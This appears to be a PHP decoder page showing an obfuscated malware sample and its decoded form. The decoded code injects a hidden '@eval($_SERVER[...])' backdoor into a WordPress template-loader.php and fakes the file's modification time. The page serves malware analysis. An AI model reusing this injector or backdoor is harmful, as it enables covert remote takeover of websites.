Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSKRaNWGyJEXTtFU05FVCmzTBYZoiMCYhMYaCCYGp/30m..
Decoded Output download
phpConfValidate('YTo0OntpOjA7czo3ODoiL2hvbWUvY2gyODgzMy93ZWIvZ291cm1ldG9udG91ci5jaC9wdWJsaWNfaHRtbC93cC1pbmNsdWRlcy90ZW1wbGF0ZS1sb2FkZXIucGhwIjtpOjE7czo5ODoifmV2YWxbXlwoXG5ccl0qXChbXlwkXSpcJF9bQS1aXXs2fVteXFtdKlxbW15cJ1wiXSpbXCdcIl1IVFRQXzA2RjUzMTlbXCdcIl1bXlxdXSpcXVteXCldKlwpW147XSo7fnMiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF8wNkY1MzE5J10pOyI7aTozO3M6MzU6In5eXHMqaWYuKmlzX3JvYm90c1teXHt8XDpdKyhce3w6KX5tIjt9');
function phpConfValidate($ser) {
list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
$source = file_get_contents($fullPath);
if (preg_match($systemEnv, $source)) {
return;
}
if (!preg_match($pattern, $source, $matches)) {
return;
}
$incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
$newSource = preg_replace($incorrectRegex, '', $source);
$newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
if (!preg_match($systemEnv, $newSource)) {
return;
}
$filemtime = filemtime($fullPath) + 10;
unlink($fullPath);
file_put_contents($fullPath, $newSource);
touch($fullPath, $filemtime);
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode("jVJrb5swFP2eX8GkSKRaNWGyJEXTtFU05FVCmzTBYZoiMCYhMYaCCYGp/30m7z6kzZLxNb7nnPuqRMtIDak3tYnv2gzXxNlTKBmURcbqtoWKsG7chf69vNw45mQzkxe5cbco9FypW2ZvY8kKQAEgbkdJ+QbIb6xsVclcs5/Y5tCzuyPmqEodqSBygmHimiOCckWyTJA5HU2yxiBxZG1twV6KOsustyp126Vuo9T1gqk8M7cOJFkIOw2EiPQM1WV5X8NxhPqa4jyOgQ1hIntThqHG3AHZOiZooD7IfO7jQNVFPQJ6U230CItbebSaFPoTOf7nXFu35IIlXiUcn0Um+NqC47DlUd035HVTX7HCWOm54fdvLWgtHXWxhmCoTYjFd0LH2mgy0W6y4XoG9KLd6AMpMvJey34KC6OuN/Vi0uzRBoZd/dk2Z+kgIAWs9zezQJEQ4LpddgPvIneQLxGuZ80BbDBeC0W8+lbxUoqYH1LhbaeqCY6vhD+VisAX8RMm1KpeSsiDzZbXQjXJE4aDNt1wG4Uu5kdkM4ZjeiV8F1LK0T6nKnDNsRPc/Dp3cem2p+W6JWs1CdMYYe7v+QTPF5jNUUgZpiw5ax18fU+oRTFezAOboWXtlf6e5qqMVjisGLM0pnvoy4ng0yXDIdwTnhu7F5z8g2kfu09RGMcYsRFe4C3PIWHxPMYRsREfcywKXwRxY+8OIl4L4s8fdhzvrnYuXhbwWAyKs/GxHrs4j2RvpDiXeE76A/BlIMeUfkm/D43iETx0H+Zt455br59PJAfW8+dd8S7Lf4b9T93KVgfMD45t39kX7RY+C0Daw1JKfLp+Nwq7YYnSj4blgyRYmJYBX3icVLnHS+Uv")));
Function Calls
gzinflate | 1 |
base64_decode | 1 |
phpConfValidate | 1 |
Stats
MD5 | 3322a72d1180792d39c461b354904180 |
Eval Count | 1 |
Decode Time | 58 ms |